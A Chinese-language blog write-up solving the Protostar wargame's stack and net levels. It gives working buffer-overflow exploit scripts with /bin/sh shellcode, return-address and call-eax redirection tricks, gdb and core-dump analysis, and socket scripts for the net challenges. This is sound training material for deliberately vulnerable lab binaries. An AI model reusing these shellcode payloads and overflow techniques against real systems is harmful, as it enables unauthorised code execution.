这是Exploit-Exercises的Protostar中stack和net部分的Writeup,format以及heap和final将在另一篇文章中贴出。发现markdown写东西挺清爽的,不过好像Wordpress不支持,有插件,但是可能会影响旧的文章的阅读。
stack0
python -c "print 'A'*65" | ./stack0 |
stack1
python -c "print 'A'*64+'\x64\x63\x62\x61'" | xargs ./stack1 |
stack2
#!/usr/bin/env python # -*- coding:utf-8 -*- import os def main(): envval = 'A'*64 + '\x0a\x0d\x0a\x0d' os.putenv("GREENIE", envval) os.system("./stack2") if __name__ == "__main__": main() |
Protostar的操作极其不便,实在不是很喜欢。我比较喜欢的方式是把bin拿到别的系统上去分析,或者写好python脚本之后下载到protostar里面去执行。Python有简单的HTTP Server模块,很方便。
python -m SimpleHTTPServer |
stack3
python -c "print 'A'*64+'\x24\x84\x04\x08'" | ./stack3 |
stack4
gdb stack4 disas win (得到win函数的地址: 0x080483f4) disas main 0x08048408 <+0>: push %ebp 0x08048409 <+1>: mov %esp,%ebp 0x0804840b <+3>: and $0xfffffff0,%esp 0x0804840e <+6>: sub $0x50,%esp 0x08048411 <+9>: lea 0x10(%esp),%eax 0x08048415 <+13>: mov %eax,(%esp) 0x08048418 <+16>: call 0x804830c <gets@plt> 0x0804841d <+21>: leave 0x0804841e <+22>: ret b *0x0804840b r i r $esp esp 0xbffff128 0xbffff128 |
main函数的返回地址覆盖偏移值为: 0×50+8+4-0×10=0x4C
exploit code
python -c "print 'A'*0x4C+'\xf4\x83\x04\x08'" | ./stack4 |
stack5
disas main 0x080483c4 <+0>: push %ebp 0x080483c5 <+1>: mov %esp,%ebp 0x080483c7 <+3>: and $0xfffffff0,%esp 0x080483ca <+6>: sub $0x50,%esp 0x080483cd <+9>: lea 0x10(%esp),%eax 0x080483d1 <+13>: mov %eax,(%esp) 0x080483d4 <+16>: call 0x80482e8 <gets@plt> 0x080483d9 <+21>: leave 0x080483da <+22>: ret b *0x080483d1 r i r $eax |
可以看到eax寄存器的值为: 0xbffffce0
import sys totallen = 0x4C retnaddr = "\xe0\xfc\xff\xbf" shellcode = ("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69" + "\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80") sys.stdout.write(shellcode + '\x90'*(totallen-len(shellcode)) + retnaddr) |
这里有一个奇怪的问题,直接执行stack5这个程序,将会提示段错误:
Segmentation fault |
而如果在GDB下执行,Shellcode倒是成功执行了,但是shell进程马上就退出了:
Executing new program: /bin/dash Program exited normally. |
两个问题
1. 直接执行提示Segmentation fault,而GDB下可以成功执行Shellcode
2. GDB下执行Shellcode后,shell进程立刻退出了
可能原因
1. 两种情况下栈基址不一样,所以最好通过分析core dump来得到覆盖地址
2. MattAndreko’s Blog[1]的文章中提到对于gets缓冲区溢出的情况,如果执行execve的shellcode,需要想关闭stdin然后重新打开,在Exploit-DB[2]可以得到这样的一份Shellcode
生成并分析core文件
ulimit -c unlimited 不限制core文件的大小 cat /proc/sys/kernel/core_pattern 查看core文件位置与格式 echo 1 > /proc/sys/fs/suid_dumpable 设置生成core文件 python -c "print 'A'*100+'B'*4" | /opt/protostar/bin/stack5 (Segmentation fault (core dumped)) |
gdb -q -c core.11.stack5.2083 分析core文件 [New LWP 2083] Core was generated by '/opt/protostar/bin/stack5'. Program terminated with signal 11, Segmentation fault. #0 0x41414141 in ?? () (gdb) x /40xw $esp-100 0xbffffcdc: 0x080483d9 0xbffffcf0 0xb7ec6165 0xbffffcf8 0xbffffcec: 0xb7eada75 0x41414141 0x41414141 0x41414141 0xbffffcfc: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffd0c: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffd1c: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffd2c: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffd3c: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffd4c: 0x41414141 0x41414141 0x42424242 0xb7ffef00 0xbffffd5c: 0x08048232 0x00000001 0xbffffda0 0xb7ff0626 0xbffffd6c: 0xb7fffab0 0xb7fe1b28 0xb7fd7ff4 0x00000000 (gdb) |
可以看到从0xbffffcf0地址处开始覆盖栈上的数据,这里可以在前面设置适量的NOP指令,确保Shellcode执行的成功率。
返回地址计算: 0xbffffcf0+0x4C+4 = 0xbffffd40
exploit code
import sys retnaddr = "\x40\xfd\xff\xbf" shellcode = ("\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev" + "\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31" + "\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99" + "\xb0\x0b\xcd\x80") sys.stdout.write('A'*0x4C + retnaddr + '\x90'*20 + shellcode) |
现在就可以成功溢出了。生成Core文件的设置参考了文章Kroosec’s blog[3]
stack6
对返回地址做了限制,不能直接跳转到栈上执行代码了。这里可以通过两层跳转实现,先把返回地址覆盖为一个ret指令的地址,直接取getpath最后一条指令的地址( 0x080484f9 )即可。通过这条指令再一次取栈上的地址,而这个地址就可以是Shellcode的起始地址。
(gdb) disas getpath Dump of assembler code for function getpath: 0x08048484 <+0>: push %ebp 0x08048485 <+1>: mov %esp,%ebp 0x08048487 <+3>: sub $0x68,%esp 0x0804848a <+6>: mov $0x80485d0,%eax 0x0804848f <+11>: mov %eax,(%esp) 0x08048492 <+14>: call 0x80483c0 <printf@plt> 0x08048497 <+19>: mov 0x8049720,%eax 0x0804849c <+24>: mov %eax,(%esp) 0x0804849f <+27>: call 0x80483b0 <fflush@plt> 0x080484a4 <+32>: lea -0x4c(%ebp),%eax 0x080484a7 <+35>: mov %eax,(%esp) 0x080484aa <+38>: call 0x8048380 <gets@plt> ... ... 0x080484f9 <+117>: ret End of assembler dump. |
返回地址覆盖偏移: 0x4C+4 = 0×50
覆盖返回地址测试
python -c "print 'A'*0x50+'B'*4" | ./stack6 gdb -q -c core.11.stack6.2361 [New LWP 2361] Core was generated by './stack6'. Program terminated with signal 11, Segmentation fault. #0 0x42424242 in ?? () (gdb) i r $esp esp 0xbffffe40 0xbffffe40 (gdb) x /40xw $esp-100 0xbffffddc: 0x00000001 0x00000000 0x00000001 0xb7fff8f8 0xbffffdec: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffdfc: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffe0c: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffe1c: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffe2c: 0x42424242 0x41414141 0x41414141 0x41414141 0xbffffe3c: 0x42424242 0x08048500 0x00000000 0xbffffec8 0xbffffe4c: 0xb7eadc76 0x00000001 0xbffffef4 0xbffffefc 0xbffffe5c: 0xb7fe1848 0xbffffeb0 0xffffffff 0xb7ffeff4 0xbffffe6c: 0x080482a1 0x00000001 0xbffffeb0 0xb7ff0626 (gdb) |
返回地址覆盖到栈上的 0xbffffe3c 处,后面接上retn指令的地址,再接上Shellcode的地址,最后接上Shellcode即可。
exploit code
import sys retnaddr = '\xf9\x84\x04\x08' junk = 'A'*0x50 shellcodeaddr = '\x44\xfe\xff\xbf' nops = '\x90'*20 shellcode = ("\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev" + "\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31" + "\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99" + "\xb0\x0b\xcd\x80") sys.stdout.write(junk + retnaddr + shellcodeaddr + nops + shellcode) |
stack7
getpath函数最后一条是return strdup(buffer),通过gets(buffer)覆盖返回地址为call eax指令的地址即可。
使用IDA找到这样的一条指令:
.text:080485EB call eax ; __CTOR_LIST__ |
返回地址覆盖偏移: 0x4C + 4 = 0×50
(gdb) disas getpath 0x080484c4 <+0>: push %ebp 0x080484c5 <+1>: mov %esp,%ebp 0x080484c7 <+3>: sub $0x68,%esp 0x080484ca <+6>: mov $0x8048620,%eax 0x080484cf <+11>: mov %eax,(%esp) 0x080484d2 <+14>: call 0x80483e4 <printf@plt> 0x080484d7 <+19>: mov 0x8049780,%eax 0x080484dc <+24>: mov %eax,(%esp) 0x080484df <+27>: call 0x80483d4 <fflush@plt> 0x080484e4 <+32>: lea -0x4c(%ebp),%eax 0x080484e7 <+35>: mov %eax,(%esp) 0x080484ea <+38>: call 0x80483a4 <gets@plt> 0x080484ef <+43>: mov 0x4(%ebp),%eax ; 注意这里取了返回地址存入缓冲区 0x080484f2 <+46>: mov %eax,-0xc(%ebp) ; 所以返回地址会出现两次 ... ... 0x08048543 <+127>: leave 0x08048544 <+128>: ret End of assembler dump. |
call eax直接跳转到buffer上执行代码,所以前面的填充要注意一下,这里填充为0×90,然后通过一个jump跳过覆盖的返回地址。因为把返回地址存入了缓冲区( ebp-0x0C ),使得返回地址出现了两次,这里需要跳过:0x4C – 0x0C 之后出现一次返回地址,即要跳过0×40 ~ 0×54 这0×14个字节。可以使用JMP来实现。
exploit code
import sys retnaddr = '\xeb\x85\x04\x08' junk = '\x90'*(0x40-2) + '\xEB\x14' # jump 0x14 bytes afterwards junk += '\x90'*(0x50 - len(junk)) nops = '\x90'*20 shellcode = ("\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev" + "\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31" + "\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99" + "\xb0\x0b\xcd\x80") sys.stdout.write(junk + retnaddr + nops + shellcode) |
net0
#!/usr/bin/env python # -*- coding:utf-8 -*- import socket import struct def main(): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(("192.168.218.170", 2999)) data = sock.recv(1024) print data data = data.split("'")[1] sock.send(struct.pack('<i', int(data))) print sock.recv(1024) sock.close() if __name__ == "__main__": main() |
net1
#!/usr/bin/env python # -*- coding:utf-8 -*- import socket import struct def main(): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(("192.168.218.170", 2998)) data = sock.recv(1024) data = "%d\n" % (struct.unpack('<i', data)) print data sock.send(data) print sock.recv(1024) sock.close() if __name__ == "__main__": main() |
net2
#!/usr/bin/env python # -*- coding:utf-8 -*- import socket import struct def main(): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(("192.168.218.170", 2997)) sum = 0 datalen = 0 while datalen < 12: data = sock.recv(1024) datalen += len(data) data = struct.unpack("<%dI" % (len(data)/4), data) for x in data: print "%d" % x sum += x sock.send(struct.pack("<I", sum)) print sock.recv(1024) sock.close() if __name__ == "__main__": main() |
net3
#!/usr/bin/env python # -*- coding:utf-8 -*- import socket import struct def getData(): stritem = ["net3", "awesomesauce", "password"] data = '\x17' for s in stritem: data = data + chr(len(s)+1) + s + '\x00' data = data + '\n' return data def main(): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(("192.168.218.170", 2996)) data = getData() sock.send(struct.pack('>H', len(data))) sock.send(data) print sock.recv(1024)[3:] if __name__ == "__main__": main() |
点击阅读Exploit-Exercises Protostar Writeup (Stack & Net)阅读GitHub Markdown内容。
本文地址: 程序人生 >> Exploit-Exercises Protostar Writeup Part I
作者:代码疯子(Wins0n) 本站内容如无声明均属原创,转载请保留作者信息与原文链接,谢谢!